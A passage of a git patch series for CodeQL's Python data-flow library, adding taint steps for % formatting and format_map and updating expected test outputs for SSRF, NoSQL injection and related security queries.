semmle.label | ControlFlowNode for json_search | | pymongo_test.py:29:5:29:12 | ControlFlowNode for event_id | semmle.label | ControlFlowNode for event_id | | pymongo_test.py:29:16:29:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:29:27:29:33 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | pymongo_test.py:29:27:29:50 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:33:34:33:73 | ControlFlowNode for Dict [Dictionary element at key $where] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $where] | | pymongo_test.py:33:45:33:72 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring | | pymongo_test.py:39:5:39:12 | ControlFlowNode for event_id | semmle.label | ControlFlowNode for event_id | | pymongo_test.py:39:16:39:51 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:39:27:39:33 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | pymongo_test.py:39:27:39:50 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:43:34:43:73 | ControlFlowNode for Dict [Dictionary element at key $where] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $where] | | pymongo_test.py:43:45:43:72 | ControlFlowNode for Fstring | semmle.label | ControlFlowNode for Fstring | | pymongo_test.py:52:5:52:11 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:52:15:52:50 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | pymongo_test.py:52:26:52:32 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | pymongo_test.py:52:26:52:49 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | pymongo_test.py:54:5:54:10 | ControlFlowNode for search | semmle.label | ControlFlowNode for search | +| pymongo_test.py:54:5:54:10 | ControlFlowNode for search [Dictionary element at key body] | semmle.label | ControlFlowNode for search [Dictionary element at key body] | | pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:54:14:58:5 | ControlFlowNode for Dict [Dictionary element at key body] | semmle.label | ControlFlowNode for Dict [Dictionary element at key body] | | pymongo_test.py:55:17:55:23 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function, Dictionary element at key body] | +| pymongo_test.py:59:25:59:56 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | +| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function, Dictionary element at key body] | +| pymongo_test.py:59:35:59:55 | ControlFlowNode for Dict [Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function] | +| pymongo_test.py:59:49:59:54 | ControlFlowNode for search | semmle.label | ControlFlowNode for search | +| pymongo_test.py:59:49:59:54 | ControlFlowNode for search [Dictionary element at key body] | semmle.label | ControlFlowNode for search [Dictionary element at key body] | | pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:61:25:61:57 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | +| pymongo_test.py:61:35:61:56 | ControlFlowNode for Dict [Dictionary element at key $function] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $function] | +| pymongo_test.py:61:49:61:55 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | +| pymongo_test.py:62:25:62:42 | ControlFlowNode for Dict [Dictionary element at key $expr] | semmle.label | ControlFlowNode for Dict [Dictionary element at key $expr] | +| pymongo_test.py:62:35:62:41 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | | pymongo_test.py:63:25:63:31 | ControlFlowNode for decoded | semmle.label | ControlFlowNode for decoded | subpaths #select From facb3b681dd4aed6b7ff6928ab7c7a8f2c97e267 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 17 Sep 2024 23:04:19 +0200 Subject: [PATCH 011/143] Python: recover taint for % format strings --- .../python/dataflow/new/internal/DataFlowPrivate.qll | 11 +++++++++++ .../defaultAdditionalTaintStep/test_string.py | 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 7cb48d4784d..2ec44234c08 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1093,10 +1093,21 @@ module Conversions { ) } + predicate formatReadStep(Node nodeFrom, ContentSet c, Node nodeTo) { + // % formatting + exists(BinaryExprNode fmt | fmt = nodeTo.asCfgNode() | + fmt.getOp() instanceof Mod and + fmt.getRight() = nodeFrom.asCfgNode() + ) and + c instanceof TupleElementContent + } + predicate readStep(Node nodeFrom, ContentSet c, Node nodeTo) { decoderReadStep(nodeFrom, c, nodeTo) or encoderReadStep(nodeFrom, c, nodeTo) + or + formatReadStep(nodeFrom, c, nodeTo) } } diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py index 58d1c5160c4..42ac758bfff 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_string.py @@ -115,7 +115,7 @@ def percent_fmt(): ensure_tainted( tainted_fmt % (1, 2), # $ tainted "%s foo bar" % ts, # $ tainted - "%s %s %s" % (1, 2, ts), # $ MISSING: tainted + "%s %s %s" % (1, 2, ts), # $ tainted ) From 93e7ab52b766ba4eba57713022a0243ac6c7f0d8 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Fri, 1 Nov 2024 14:52:09 +0100 Subject: [PATCH 012/143] Python: adjust test expectations We now find an alert on this line as we hope to It is not an alert for _full_ SSRF, though, since that configuration cannot handle multiple substitutions. --- .../PartialServerSideRequestForgery.expected | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected b/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected index 5deeefd8920..a8d90779312 100644 --- a/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected +++ b/python/ql/test/query-tests/Security/CWE-918-ServerSideRequestForgery/PartialServerSideRequestForgery.expected @@ -1,4 +1,5 @@ #select +| full_partial_test.py:80:5:80:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:80:18:80:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | | full_partial_test.py:105:5:105:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:105:18:105:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | | full_partial_test.py:112:5:112:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:112:18:112:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | | full_partial_test.py:119:5:119:21 | ControlFlowNode for Attribute() | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | full_partial_test.py:119:18:119:20 | ControlFlowNode for url | Part of the URL of this request depends on a $@. | full_partial_test.py:1:19:1:25 | ControlFlowNode for ImportMember | user-provided value | @@ -45,6 +46,7 @@ edges | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:41:18:41:24 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:42:17:42:23 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:66:18:66:24 | ControlFlowNode for request | provenance | | +| full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:67:17:67:23 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:83:18:83:24 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:84:17:84:23 | ControlFlowNode for request | provenance | | | full_partial_test.py:1:19:1:25 | ControlFlowNode for request | full_partial_test.py:101:18:101:24 | ControlFlowNode for request | provenance | | @@ -80,9 +82,19 @@ edges | full_partial_test.py:61:5:61:7 | ControlFlowNode for url | full_partial_test.py:63:18:63:20 | ControlFlowNode for url | provenance | | | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | full_partial_test.py:70:5:70:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | full_partial_test.py:74:5:74:7 | ControlFlowNode for url | provenance | | +| full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | full_partial_test.py:78:38:78:47 | ControlFlowNode for user_input | provenance | | | full_partial_test.py:66:18:66:24 | ControlFlowNode for request | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | provenance | AdditionalTaintStep | +| full_partial_test.py:66:18:66:24 | ControlFlowNode for request | full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | provenance | AdditionalTaintStep | +| full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | full_partial_test.py:78:50:78:58 | ControlFlowNode for query_val | provenance | | +| full_partial_test.py:67:17:67:23 | ControlFlowNode for request | full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | provenance | AdditionalTaintStep | | full_partial_test.py:70:5:70:7 | ControlFlowNode for url | full_partial_test.py:72:18:72:20 | ControlFlowNode for url | provenance | | | full_partial_test.py:74:5:74:7 | ControlFlowNode for url | full_partial_test.py:76:18:76:20 | ControlFlowNode for url | provenance | | +| full_partial_test.py:78:5:78:7 | ControlFlowNode for url | full_partial_test.py:80:18:80:20 | ControlFlowNode for url | provenance | | +| full_partial_test.py:78:11:78:59 | ControlFlowNode for BinaryExpr | full_partial_test.py:78:5:78:7 | ControlFlowNode for url | provenance | | +| full_partial_test.py:78:38:78:47 | ControlFlowNode for user_input | full_partial_test.py:78:38:78:58 | ControlFlowNode for Tuple [Tuple element at index 0] | provenance | | +| full_partial_test.py:78:38:78:58 | ControlFlowNode for Tuple [Tuple element at index 0] | full_partial_test.py:78:11:78:59 | ControlFlowNode for BinaryExpr | provenance | | +| full_partial_test.py:78:38:78:58 | ControlFlowNode for Tuple [Tuple element at index 1] | full_partial_test.py:78:11:78:59 | ControlFlowNode for BinaryExpr | provenance | | +| full_partial_test.py:78:50:78:58 | ControlFlowNode for query_val | full_partial_test.py:78:38:78:58 | ControlFlowNode for Tuple [Tuple element at index 1] | provenance | | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | full_partial_test.py:87:5:87:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | full_partial_test.py:91:5:91:7 | ControlFlowNode for url | provenance | | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | full_partial_test.py:95:5:95:7 | ControlFlowNode for url | provenance | | @@ -260,10 +272,19 @@ nodes | full_partial_test.py:63:18:63:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:66:5:66:14 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | | full_partial_test.py:66:18:66:24 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | +| full_partial_test.py:67:5:67:13 | ControlFlowNode for query_val | semmle.label | ControlFlowNode for query_val | +| full_partial_test.py:67:17:67:23 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | full_partial_test.py:70:5:70:7 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:72:18:72:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:74:5:74:7 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:76:18:76:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | +| full_partial_test.py:78:5:78:7 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | +| full_partial_test.py:78:11:78:59 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| full_partial_test.py:78:38:78:47 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | +| full_partial_test.py:78:38:78:58 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| full_partial_test.py:78:38:78:58 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| full_partial_test.py:78:50:78:58 | ControlFlowNode for query_val | semmle.label | ControlFlowNode for query_val | +| full_partial_test.py:80:18:80:20 | ControlFlowNode for url | semmle.label | ControlFlowNode for url | | full_partial_test.py:83:5:83:14 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | | full_partial_test.py:83:18:83:24 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | full_partial_test.py:84:5:84:13 | ControlFlowNode for query_val | semmle.label | ControlFlowNode for query_val | @@ -409,5 +430,3 @@ nodes | test_requests.py:20:18:20:24 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | | test_requests.py:22:34:22:43 | ControlFlowNode for user_input | semmle.label | ControlFlowNode for user_input | subpaths -testFailures -| full_partial_test.py:80:23:80:80 | Comment # $ Alert[py/partial-ssrf] $ MISSING: Alert[py/full-ssrf] | Missing result: Alert[py/partial-ssrf] | From 9a180036a5593c15a3501d5be33ea8c7e7c1020e Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 11 Nov 2024 16:20:21 +0100 Subject: [PATCH 013/143] Python: conversion step for `format_map` and adjust collection test --- .../python/dataflow/new/internal/DataFlowPrivate.qll | 6 ++++++ .../defaultAdditionalTaintStep-py3/test_string.py | 2 +- .../defaultAdditionalTaintStep/test_collections.py | 8 +++++--- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 2ec44234c08..aa4130fb6a8 100644 --- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1100,6 +1100,12 @@ module Conversions { fmt.getRight() = nodeFrom.asCfgNode() ) and c instanceof TupleElementContent + or + // format_map + // see https://docs.python.org/3/library/stdtypes.html#str.format_map + nodeTo.(MethodCallNode).calls(_, "format_map") and + nodeTo.(MethodCallNode).getArg(0) = nodeFrom and + c instanceof DictionaryElementContent } predicate readStep(Node nodeFrom, ContentSet c, Node nodeTo) { diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py index 4ef1572f089..41a14e73a27 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep-py3/test_string.py @@ -17,7 +17,7 @@ def str_methods(): ts.casefold(), # $ tainted ts.format_map({}), # $ tainted - "{unsafe}".format_map({"unsafe": ts}), # $ MISSING: tainted + "{unsafe}".format_map({"unsafe": ts}), # $ tainted ) diff --git a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py index 73a369c0ece..a67438316f4 100644 --- a/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py +++ b/python/ql/test/library-tests/dataflow/tainttracking/defaultAdditionalTaintStep/test_collections.py @@ -27,12 +27,14 @@ def test_construction(): tainted_dict, # $ tainted ) + # There are no implicit reads for list content as it is imprecise + # Therefore, list content stemming from precise content does not end up on the list itself. ensure_tainted( list(tainted_list), # $ tainted - list(tainted_tuple), # $ MISSING: tainted + list(tainted_tuple)[0], # $ tainted list(tainted_set), # $ tainted - list(tainted_dict.values()), # $ MISSING: tainted - list(tainted_dict.items()), # $ MISSING: tainted + list(tainted_dict.values())[0], # $ tainted + list(tainted_dict.items())[0], # $ tainted tuple(tainted_list), # $ tainted set(tainted_list), # $ tainted From 3275c814bd32893b43aad09bb9e915c18df210a8 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 11 Nov 2024 16:47:08 +0100 Subject: [PATCH 014/143] Python: reset test expectations --- ...ExternalAPIsUsedWithUntrustedData.expected | 1 - .../UntrustedDataToExternalAPI.expected | 5 -- .../StackTraceExposure.expected | 4 +- .../NoSqlInjection.expected | 76 +++++-------------- 4 files changed, 20 insertions(+), 66 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected index 7776cabb14c..a346aef9d22 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected @@ -1,4 +1,3 @@ -| hmac.new [**] | 1 | 1 | | hmac.new [keyword msg] | 1 | 1 | | hmac.new [position 1] | 1 | 1 | | unknown.lib.func [keyword kw] | 2 | 1 | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected index 9a49e3cbfe4..08a5b798f71 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected @@ -15,8 +15,6 @@ edges | test.py:23:16:23:27 | ControlFlowNode for Attribute | test.py:23:16:23:39 | ControlFlowNode for Attribute() | provenance | dict.get | | test.py:23:16:23:39 | ControlFlowNode for Attribute() | test.py:23:5:23:12 | ControlFlowNode for data_raw | provenance | | | test.py:24:5:24:8 | ControlFlowNode for data | test.py:25:44:25:47 | ControlFlowNode for data | provenance | | -| test.py:24:5:24:8 | ControlFlowNode for data | test.py:25:44:25:47 | ControlFlowNode for data | provenance | | -| test.py:25:44:25:47 | ControlFlowNode for data | test.py:25:15:25:74 | SynthDictSplatArgumentNode | provenance | | | test.py:34:5:34:8 | ControlFlowNode for data | test.py:35:10:35:13 | ControlFlowNode for data | provenance | | | test.py:34:5:34:8 | ControlFlowNode for data | test.py:36:13:36:16 | ControlFlowNode for data | provenance | | | test.py:34:12:34:18 | ControlFlowNode for request | test.py:34:12:34:23 | ControlFlowNode for Attribute | provenance | AdditionalTaintStep | @@ -47,8 +45,6 @@ nodes | test.py:23:16:23:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:23:16:23:39 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | test.py:24:5:24:8 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | -| test.py:25:15:25:74 | SynthDictSplatArgumentNode | semmle.label | SynthDictSplatArgumentNode | -| test.py:25:44:25:47 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | | test.py:25:44:25:47 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | | test.py:34:5:34:8 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | | test.py:34:12:34:18 | ControlFlowNode for request | semmle.label | ControlFlowNode for request | @@ -72,7 +68,6 @@ nodes subpaths #select | test.py:15:36:15:39 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:15:36:15:39 | ControlFlowNode for data | Call to hmac.new [position 1] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | -| test.py:25:15:25:74 | SynthDictSplatArgumentNode | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:25:15:25:74 | SynthDictSplatArgumentNode | Call to hmac.new [**] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | | test.py:25:44:25:47 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:25:44:25:47 | ControlFlowNode for data | Call to hmac.new [keyword msg] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | | test.py:35:10:35:13 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:35:10:35:13 | ControlFlowNode for data | Call to unknown.lib.func [position 0] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | | test.py:36:13:36:16 | ControlFlowNode for data | test.py:5:26:5:32 | ControlFlowNode for ImportMember | test.py:36:13:36:16 | ControlFlowNode for data | Call to unknown.lib.func [keyword kw] with untrusted data from $@. | test.py:5:26:5:32 | ControlFlowNode for ImportMember | ControlFlowNode for ImportMember | diff --git a/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected b/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected index 961eaac5143..b24fd261ea8 100644 --- a/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected +++ b/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.expected @@ -8,8 +8,7 @@ edges | test.py:50:29:50:31 | ControlFlowNode for err | test.py:52:18:52:20 | ControlFlowNode for msg | provenance | | | test.py:52:18:52:20 | ControlFlowNode for msg | test.py:53:12:53:27 | ControlFlowNode for BinaryExpr | provenance | | | test.py:65:25:65:25 | ControlFlowNode for e | test.py:66:34:66:39 | ControlFlowNode for str() | provenance | | -| test.py:66:24:66:40 | ControlFlowNode for Dict [Dictionary element at key error] | test.py:66:24:66:40 | ControlFlowNode for Dict | provenance | | -| test.py:66:34:66:39 | ControlFlowNode for str() | test.py:66:24:66:40 | ControlFlowNode for Dict [Dictionary element at key error] | provenance | | +| test.py:66:34:66:39 | ControlFlowNode for str() | test.py:66:24:66:40 | ControlFlowNode for Dict | provenance | | nodes | test.py:16:16:16:37 | ControlFlowNode for Attribute() | semmle.label | ControlFlowNode for Attribute() | | test.py:23:25:23:25 | ControlFlowNode for e | semmle.label | ControlFlowNode for e | @@ -25,7 +24,6 @@ nodes | test.py:53:12:53:27 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | | test.py:65:25:65:25 | ControlFlowNode for e | semmle.label | ControlFlowNode for e | | test.py:66:24:66:40 | ControlFlowNode for Dict | semmle.label | ControlFlowNode for Dict | -| test.py:66:24:66:40 | ControlFlowNode for Dict [Dictionary element at key error] | semmle.label | ControlFlowNode for Dict [Dictionary element at key error] | | test.py:66:34:66:39 | ControlFlowNode for str() | semmle.label | ControlFlowNode for str() | subpaths | test.py:50:29:50:31 | ControlFlowNode for err | test.py:52:18:52:20 | ControlFlowNode for msg | test.py:53:12:53:27 | ControlFlowNode for BinaryExpr | test.py:50:16:50:32 | ControlFlowNode for format_error() | diff --git a/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected b/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected index fb8920cf03c..2ff9a0d10b7 100644 --- a/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-943-NoSqlInjection/NoSqlInjection.expected @@ -11,10 +11,8 @@ edges | PoC/server.py:27:5:27:10 | ControlFlowNode for author | PoC/server.py:31:45:31:50 | ControlFlowNode for author | provenance | | | PoC/server.py:27:14:27:38 | ControlFlowNode for Attribute() | PoC/server.py:27:5:27:10 | ControlFlowNode for author | provenance | | | PoC/server.py:27:25:27:37 | ControlFlowNode for author_string | PoC/server.py:27:14:27:38 | ControlFlowNode for Attribute() | provenance | Config | -| PoC/server.py:30:27:30:44 | ControlFlowNode for Dict [Dictionary element at key author] | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:30:38:30:43 | ControlFlowNode for author | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict [Dictionary element at key author] | provenance | | -| PoC/server.py:31:34:31:51 | ControlFlowNode for Dict [Dictionary element at key author] | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:31:45:31:50 | ControlFlowNode for author | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict [Dictionary element at key author] | provenance | | +| PoC/server.py:30:38:30:43 | ControlFlowNode for author | PoC/server.py:30:27:30:44 | ControlFlowNode for Dict | provenance | | +| PoC/server.py:31:45:31:50 | ControlFlowNode for author | PoC/server.py:31:34:31:51 | ControlFlowNode for Dict | provenance | | | PoC/server.py:43:5:43:10 | ControlFlowNode for author | PoC/server.py:47:38:47:67 | ControlFlowNode for BinaryExpr | provenance | | | PoC/server.py:43:14:43:20 | ControlFlowNode for request | PoC/server.py:43:5:43:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | | PoC/server.py:47:38:47:67 | ControlFlowNode for BinaryExpr | PoC/server.py:47:27:47:68 | ControlFlowNode for Dict | provenance | Config | @@ -23,8 +21,7 @@ edges | PoC/server.py:53:5:53:10 | ControlFlowNode for search | PoC/server.py:61:51:61:56 | ControlFlowNode for search | provenance | | | PoC/server.py:53:14:57:5 | ControlFlowNode for Dict | PoC/server.py:53:5:53:10 | ControlFlowNode for search | provenance | | | PoC/server.py:54:17:54:70 | ControlFlowNode for BinaryExpr | PoC/server.py:53:14:57:5 | ControlFlowNode for Dict | provenance | Config | -| PoC/server.py:61:27:61:58 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict [Dictionary element at key $expr, Dictionary element at key $function] | provenance | | +| PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | PoC/server.py:61:27:61:58 | ControlFlowNode for Dict | provenance | | | PoC/server.py:61:51:61:56 | ControlFlowNode for search | PoC/server.py:61:37:61:57 | ControlFlowNode for Dict [Dictionary element at key $function] | provenance | | | PoC/server.py:77:5:77:10 | ControlFlowNode for author | PoC/server.py:80:23:80:101 | ControlFlowNode for BinaryExpr | provenance | | | PoC/server.py:77:14:77:20 | ControlFlowNode for request | PoC/server.py:77:5:77:10 | ControlFlowNode for author | provenance | AdditionalTaintStep | @@ -36,10 +33,8 @@ edges | PoC/server.py:84:13:87:5 | ControlFlowNode for Dict [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:84:5:84:9 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | | PoC/server.py:86:19:86:49 | ControlFlowNode for Dict [Dictionary element at key $accumulator] | PoC/server.py:84:13:87:5 | ControlFlowNode for Dict [Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | | PoC/server.py:86:37:86:47 | ControlFlowNode for accumulator | PoC/server.py:86:19:86:49 | ControlFlowNode for Dict [Dictionary element at key $accumulator] | provenance | | -| PoC/server.py:91:29:91:47 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:91:41:91:45 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:91:29:91:47 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | provenance | | -| PoC/server.py:92:38:92:56 | ControlFlowNode for Dict [Dictionary element at key $group, Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict | provenance | | -| PoC/server.py:92:50:92:54 | ControlFlowNode for group [Dictionary element at key author, Dictionary element at key $accumulator] | PoC/server.py:92:38:92:56 | ControlFlowNode for Dict 